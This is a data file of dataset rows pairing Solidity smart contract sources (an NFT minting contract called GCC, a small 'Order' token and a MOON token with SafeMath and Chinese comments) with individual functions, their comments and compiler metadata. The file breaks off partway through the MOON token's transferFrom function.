}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return _baseURI();
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setMintPerOGWallet(uint256 _newLimit) public onlyOwner {
mintPerOGWallet = _newLimit;
}
function setMintPerWallet(uint256 _newLimit) public onlyOwner {
mintPerWallet = _newLimit;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function toggleWhitelist(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function ogAddresses(address[] memory _addresses) public onlyOwner {
for (uint256 i; i < _addresses.length; i++) {
oglist[_addresses[i]] = true;
}
}
function whitelistAddresses(address[] memory _addresses) public onlyOwner {
for (uint256 i; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
}
}
function gccMint(uint256 _mintAmount) public onlyOwner {
require(_mintAmount <= _reserved, "Exceeds reserved supply");
uint256 supply = totalSupply();
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
_reserved -= _mintAmount;
}
function withdraw() public onlyOwner {
require(
payable(owner()).send(address(this).balance),
"Withdraw failed"
);
}
} | _baseURI | function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
| // internal | LineComment | v0.8.11+commit.d7f03943 | GNU GPLv3 | ipfs://6f43a975d4c7de338dfe9e12a59c41d8c54f805cf77890b75482ab5b0a7d8039 | {
"func_code_index": [
870,
975
]
} | 11,234 |
||
GCC | contracts/GCC.sol | 0x5c211b8e4f93f00e2bd68e82f4e00fbb3302b35c | Solidity | GCC | contract GCC is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 8888;
uint256 private _reserved = 138;
uint256 private _mintPrice = 0.08 ether;
uint256 public maxOGMintAmount = 3;
uint256 public mintPerOGWallet = 3;
uint256 public maxMintAmount = 2;
uint256 public mintPerWallet = 2;
bool public paused = true;
bool public revealed = false;
bool public onlyWhitelisted = true;
mapping(address => bool) private oglist;
mapping(address => bool) private whitelist;
mapping(address => uint256) private walletCount;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable nonReentrant {
require(!paused, "Minting is not live");
uint256 supply = totalSupply();
require(_mintAmount > 0, "Minimum mint amount is 1");
if (onlyWhitelisted) {
require(oglist[msg.sender] || whitelist[msg.sender], "Address is not whitelisted");
if (oglist[msg.sender]) {
require(_mintAmount <= maxOGMintAmount, "Max mint for wallet is 3 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxOGMintAmount,
"Max mint for wallet is 3 GCC"
);
} else {
require(_mintAmount <= maxMintAmount, "Max mint for wallet is 2 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxMintAmount,
"Max mint for wallet is 2 GCC"
);
}
} else {
require(_mintAmount <= maxMintAmount, "Max mint for wallet is 2 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxMintAmount,
"Max mint for wallet is 2 GCC"
);
}
require(supply + _mintAmount <= maxSupply - _reserved, "Exceeds max supply");
if (msg.sender != owner()) {
require(msg.value >= _mintPrice * _mintAmount, "Ether sent is not correct");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
walletCount[msg.sender] += _mintAmount;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return _baseURI();
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setMintPerOGWallet(uint256 _newLimit) public onlyOwner {
mintPerOGWallet = _newLimit;
}
function setMintPerWallet(uint256 _newLimit) public onlyOwner {
mintPerWallet = _newLimit;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function toggleWhitelist(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function ogAddresses(address[] memory _addresses) public onlyOwner {
for (uint256 i; i < _addresses.length; i++) {
oglist[_addresses[i]] = true;
}
}
function whitelistAddresses(address[] memory _addresses) public onlyOwner {
for (uint256 i; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
}
}
function gccMint(uint256 _mintAmount) public onlyOwner {
require(_mintAmount <= _reserved, "Exceeds reserved supply");
uint256 supply = totalSupply();
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
_reserved -= _mintAmount;
}
function withdraw() public onlyOwner {
require(
payable(owner()).send(address(this).balance),
"Withdraw failed"
);
}
} | mint | function mint(uint256 _mintAmount) public payable nonReentrant {
require(!paused, "Minting is not live");
uint256 supply = totalSupply();
require(_mintAmount > 0, "Minimum mint amount is 1");
if (onlyWhitelisted) {
require(oglist[msg.sender] || whitelist[msg.sender], "Address is not whitelisted");
if (oglist[msg.sender]) {
require(_mintAmount <= maxOGMintAmount, "Max mint for wallet is 3 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxOGMintAmount,
"Max mint for wallet is 3 GCC"
);
} else {
require(_mintAmount <= maxMintAmount, "Max mint for wallet is 2 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxMintAmount,
"Max mint for wallet is 2 GCC"
);
}
} else {
require(_mintAmount <= maxMintAmount, "Max mint for wallet is 2 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxMintAmount,
"Max mint for wallet is 2 GCC"
);
}
require(supply + _mintAmount <= maxSupply - _reserved, "Exceeds max supply");
if (msg.sender != owner()) {
require(msg.value >= _mintPrice * _mintAmount, "Ether sent is not correct");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
walletCount[msg.sender] += _mintAmount;
}
| // public | LineComment | v0.8.11+commit.d7f03943 | GNU GPLv3 | ipfs://6f43a975d4c7de338dfe9e12a59c41d8c54f805cf77890b75482ab5b0a7d8039 | {
"func_code_index": [
991,
2431
]
} | 11,235 |
||
GCC | contracts/GCC.sol | 0x5c211b8e4f93f00e2bd68e82f4e00fbb3302b35c | Solidity | GCC | contract GCC is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 8888;
uint256 private _reserved = 138;
uint256 private _mintPrice = 0.08 ether;
uint256 public maxOGMintAmount = 3;
uint256 public mintPerOGWallet = 3;
uint256 public maxMintAmount = 2;
uint256 public mintPerWallet = 2;
bool public paused = true;
bool public revealed = false;
bool public onlyWhitelisted = true;
mapping(address => bool) private oglist;
mapping(address => bool) private whitelist;
mapping(address => uint256) private walletCount;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable nonReentrant {
require(!paused, "Minting is not live");
uint256 supply = totalSupply();
require(_mintAmount > 0, "Minimum mint amount is 1");
if (onlyWhitelisted) {
require(oglist[msg.sender] || whitelist[msg.sender], "Address is not whitelisted");
if (oglist[msg.sender]) {
require(_mintAmount <= maxOGMintAmount, "Max mint for wallet is 3 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxOGMintAmount,
"Max mint for wallet is 3 GCC"
);
} else {
require(_mintAmount <= maxMintAmount, "Max mint for wallet is 2 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxMintAmount,
"Max mint for wallet is 2 GCC"
);
}
} else {
require(_mintAmount <= maxMintAmount, "Max mint for wallet is 2 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxMintAmount,
"Max mint for wallet is 2 GCC"
);
}
require(supply + _mintAmount <= maxSupply - _reserved, "Exceeds max supply");
if (msg.sender != owner()) {
require(msg.value >= _mintPrice * _mintAmount, "Ether sent is not correct");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
walletCount[msg.sender] += _mintAmount;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return _baseURI();
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setMintPerOGWallet(uint256 _newLimit) public onlyOwner {
mintPerOGWallet = _newLimit;
}
function setMintPerWallet(uint256 _newLimit) public onlyOwner {
mintPerWallet = _newLimit;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function toggleWhitelist(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function ogAddresses(address[] memory _addresses) public onlyOwner {
for (uint256 i; i < _addresses.length; i++) {
oglist[_addresses[i]] = true;
}
}
function whitelistAddresses(address[] memory _addresses) public onlyOwner {
for (uint256 i; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
}
}
function gccMint(uint256 _mintAmount) public onlyOwner {
require(_mintAmount <= _reserved, "Exceeds reserved supply");
uint256 supply = totalSupply();
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
_reserved -= _mintAmount;
}
function withdraw() public onlyOwner {
require(
payable(owner()).send(address(this).balance),
"Withdraw failed"
);
}
} | reveal | function reveal() public onlyOwner {
revealed = true;
}
| //only owner | LineComment | v0.8.11+commit.d7f03943 | GNU GPLv3 | ipfs://6f43a975d4c7de338dfe9e12a59c41d8c54f805cf77890b75482ab5b0a7d8039 | {
"func_code_index": [
3299,
3367
]
} | 11,236 |
||
BuyToken | BuyToken.sol | 0xf55acf113cb1628f27b23d61fe6df12f43294694 | Solidity | Order | contract Order is StandardToken, Ownable {
string public constant name = "Order";
string public constant symbol = "ETH";
uint public constant decimals = 3;
uint256 public initialSupply;
// Constructor
function Order () {
totalSupply = 120000 * 10 ** decimals;
balances[msg.sender] = totalSupply;
initialSupply = totalSupply;
Transfer(0, this, totalSupply);
Transfer(this, msg.sender, totalSupply);
}
} | Order | function Order () {
totalSupply = 120000 * 10 ** decimals;
balances[msg.sender] = totalSupply;
initialSupply = totalSupply;
Transfer(0, this, totalSupply);
Transfer(this, msg.sender, totalSupply);
}
| // Constructor | LineComment | v0.4.14+commit.c2215d46 | bzzr://b94e060493113f62d72d0a518bf2478c6266fb378181c2fbc39711e6ecea0539 | {
"func_code_index": [
223,
467
]
} | 11,237 |
|||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | SafeMath | contract SafeMath {
// 乘法(internal修饰的函数只能够在当前合约或子合约中使用)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// 除法
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// 减法
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
assert(b >=0);
return a - b;
}
// 加法
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
} | safeMul | function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
| // 乘法(internal修饰的函数只能够在当前合约或子合约中使用) | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
68,
239
]
} | 11,238 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | SafeMath | contract SafeMath {
// 乘法(internal修饰的函数只能够在当前合约或子合约中使用)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// 除法
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// 减法
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
assert(b >=0);
return a - b;
}
// 加法
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
} | safeDiv | function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
| // 除法 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
255,
447
]
} | 11,239 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | SafeMath | contract SafeMath {
// 乘法(internal修饰的函数只能够在当前合约或子合约中使用)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// 除法
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// 减法
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
assert(b >=0);
return a - b;
}
// 加法
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
} | safeSub | function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
assert(b >=0);
return a - b;
}
| // 减法 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
462,
618
]
} | 11,240 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | SafeMath | contract SafeMath {
// 乘法(internal修饰的函数只能够在当前合约或子合约中使用)
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// 除法
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// 减法
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
assert(b >=0);
return a - b;
}
// 加法
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
} | safeAdd | function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
| // 加法 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
633,
795
]
} | 11,241 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uint256) public balanceOf;
// 该mappin保存指定帐号被授权的token个数
// key1表示授权人,key2表示被授权人,value2表示被授权token的个数
mapping (address => mapping (address => uint256)) public allowance;
// 冻结指定帐号token的个数
mapping (address => uint256) public freezeOf;
// 定义事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
// 构造函数(1000000000, "MOON", 18, "MOON")
constructor(
uint256 initialSupply, // 发行数量
string tokenName, // token的名字 BinanceToken
uint8 decimalUnits, // 最小分割,小数点后面的尾数 1ether = 10** 18wei
string tokenSymbol // MOON
) public {
decimals = decimalUnits;
balanceOf[msg.sender] = initialSupply * 10 ** 18;
totalSupply = initialSupply * 10 ** 18;
name = tokenName;
symbol = tokenSymbol;
owner = msg.sender;
}
// 转账:某个人花费自己的币
function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定的token的个数
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往接收帐号增加一定的token个数
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 转账成功后触发Transfer事件,通知其他人有转账交易发生
emit Transfer(msg.sender, _to, _value);// Notify anyone listening that this transfer took place
}
// 授权:授权某人花费自己账户中一定数量的token
function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
// 授权转账:被授权人从_from帐号中给_to帐号转了_value个token
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 检查被授权人在allowance中可以使用的token数量是否足够
assert(_value <= allowance[_from][msg.sender]);
// 从授权人帐号中减去一定数量的token
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// 往接收人帐号中增加一定数量的token
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 从allowance中减去被授权人可使用token的数量
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
// 交易成功后触发Transfer事件,并返回true
emit Transfer(_from, _to, _value);
return true;
}
// 消毁币
function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply = SafeMath.safeSub(totalSupply,_value);
// 消币成功后触发Burn事件,并返回true
emit Burn(msg.sender, _value);
return true;
}
// 冻结
function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加指定数量的token
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// freeze成功后触发Freeze事件,并返回true
emit Freeze(msg.sender, _value);
return true;
}
// 解冻
function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的token
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
// 解冻成功后触发事件
emit Unfreeze(msg.sender, _value);
return true;
}
// 管理者自己取钱
function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
} | transfer | function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定的token的个数
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往接收帐号增加一定的token个数
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 转账成功后触发Transfer事件,通知其他人有转账交易发生
emit Transfer(msg.sender, _to, _value);// Notify anyone listening that this transfer took place
}
| // 转账:某个人花费自己的币 | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
1432,
2159
]
} | 11,242 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uint256) public balanceOf;
// 该mappin保存指定帐号被授权的token个数
// key1表示授权人,key2表示被授权人,value2表示被授权token的个数
mapping (address => mapping (address => uint256)) public allowance;
// 冻结指定帐号token的个数
mapping (address => uint256) public freezeOf;
// 定义事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
// 构造函数(1000000000, "MOON", 18, "MOON")
constructor(
uint256 initialSupply, // 发行数量
string tokenName, // token的名字 BinanceToken
uint8 decimalUnits, // 最小分割,小数点后面的尾数 1ether = 10** 18wei
string tokenSymbol // MOON
) public {
decimals = decimalUnits;
balanceOf[msg.sender] = initialSupply * 10 ** 18;
totalSupply = initialSupply * 10 ** 18;
name = tokenName;
symbol = tokenSymbol;
owner = msg.sender;
}
// 转账:某个人花费自己的币
function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定的token的个数
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往接收帐号增加一定的token个数
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 转账成功后触发Transfer事件,通知其他人有转账交易发生
emit Transfer(msg.sender, _to, _value);// Notify anyone listening that this transfer took place
}
// 授权:授权某人花费自己账户中一定数量的token
function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
// 授权转账:被授权人从_from帐号中给_to帐号转了_value个token
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 检查被授权人在allowance中可以使用的token数量是否足够
assert(_value <= allowance[_from][msg.sender]);
// 从授权人帐号中减去一定数量的token
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// 往接收人帐号中增加一定数量的token
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 从allowance中减去被授权人可使用token的数量
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
// 交易成功后触发Transfer事件,并返回true
emit Transfer(_from, _to, _value);
return true;
}
// 消毁币
function burn(uint256 _value) public returns (bool success) {
// 检查当前帐号余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 更新发行币的总量
totalSupply = SafeMath.safeSub(totalSupply,_value);
// 消币成功后触发Burn事件,并返回true
emit Burn(msg.sender, _value);
return true;
}
// 冻结
function freeze(uint256 _value) public returns (bool success) {
// 检查sender账户余额是否足够
assert(balanceOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从sender账户中减去一定数量的token
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往freezeOf中给sender账户增加指定数量的token
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// freeze成功后触发Freeze事件,并返回true
emit Freeze(msg.sender, _value);
return true;
}
// 解冻
function unfreeze(uint256 _value) public returns (bool success) {
// 检查解冻金额是否有效
assert(freezeOf[msg.sender] >= _value);
// 检查_value是否有效
assert(_value > 0);
// 从freezeOf中减去指定sender账户一定数量的token
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// 向sender账户中增加一定数量的token
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
// 解冻成功后触发事件
emit Unfreeze(msg.sender, _value);
return true;
}
// 管理者自己取钱
function withdrawEther(uint256 amount) public {
// 检查sender是否是当前合约的管理者
assert(msg.sender == owner);
// sender给owner发送token
owner.transfer(amount);
}
} | approve | function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
| // 授权:授权某人花费自己账户中一定数量的token | LineComment | v0.4.24+commit.e67f0147 | None | bzzr://cbdc83ef4c3c000f07bc624497c3a79fbc1769146ebeda5b0c94a3782433377d | {
"func_code_index": [
2196,
2392
]
} | 11,243 |
||
MOON | MOON.sol | 0x21d8b3a646b32b70b7b361f85ebd5fa27170c694 | Solidity | MOON | contract MOON is SafeMath{
// 代币的名字
string public name;
// 代币的符号
string public symbol;
// 代币支持的小数位
uint8 public decimals;
// 代表发行的总量
uint256 public totalSupply;
// 管理者
address public owner;
// 该mapping保存账户余额,Key表示账户地址,Value表示token个数
mapping (address => uint256) public balanceOf;
// 该mappin保存指定帐号被授权的token个数
// key1表示授权人,key2表示被授权人,value2表示被授权token的个数
mapping (address => mapping (address => uint256)) public allowance;
// 冻结指定帐号token的个数
mapping (address => uint256) public freezeOf;
// 定义事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
// 构造函数(1000000000, "MOON", 18, "MOON")
constructor(
uint256 initialSupply, // 发行数量
string tokenName, // token的名字 BinanceToken
uint8 decimalUnits, // 最小分割,小数点后面的尾数 1ether = 10** 18wei
string tokenSymbol // MOON
) public {
decimals = decimalUnits;
balanceOf[msg.sender] = initialSupply * 10 ** 18;
totalSupply = initialSupply * 10 ** 18;
name = tokenName;
symbol = tokenSymbol;
owner = msg.sender;
}
// 转账:某个人花费自己的币
function transfer(address _to, uint256 _value) public {
// 防止_to无效
assert(_to != 0x0);
// 防止_value无效
assert(_value > 0);
// 防止转账人的余额不足
assert(balanceOf[msg.sender] >= _value);
// 防止数据溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 从转账人的账户中减去一定的token的个数
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// 往接收帐号增加一定的token个数
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// 转账成功后触发Transfer事件,通知其他人有转账交易发生
emit Transfer(msg.sender, _to, _value);// Notify anyone listening that this transfer took place
}
// 授权:授权某人花费自己账户中一定数量的token
function approve(address _spender, uint256 _value) public returns (bool success) {
assert(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
// 授权转账:被授权人从_from帐号中给_to帐号转了_value个token
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// 防止地址无效
assert(_to != 0x0);
// 防止转账金额无效
assert(_value > 0);
// 检查授权人账户的余额是否足够
assert(balanceOf[_from] >= _value);
// 检查数据是否溢出
assert(balanceOf[_to] + _value >= balanceOf[_to]);
// 检查被授权人在allowance中可以使用的token数量是否足够
assert(_value <= allowance[_from][msg.sender]);
// 从授权人帐号中减去一定数量的token
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// 往接收人帐号中增加一定数量的token
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
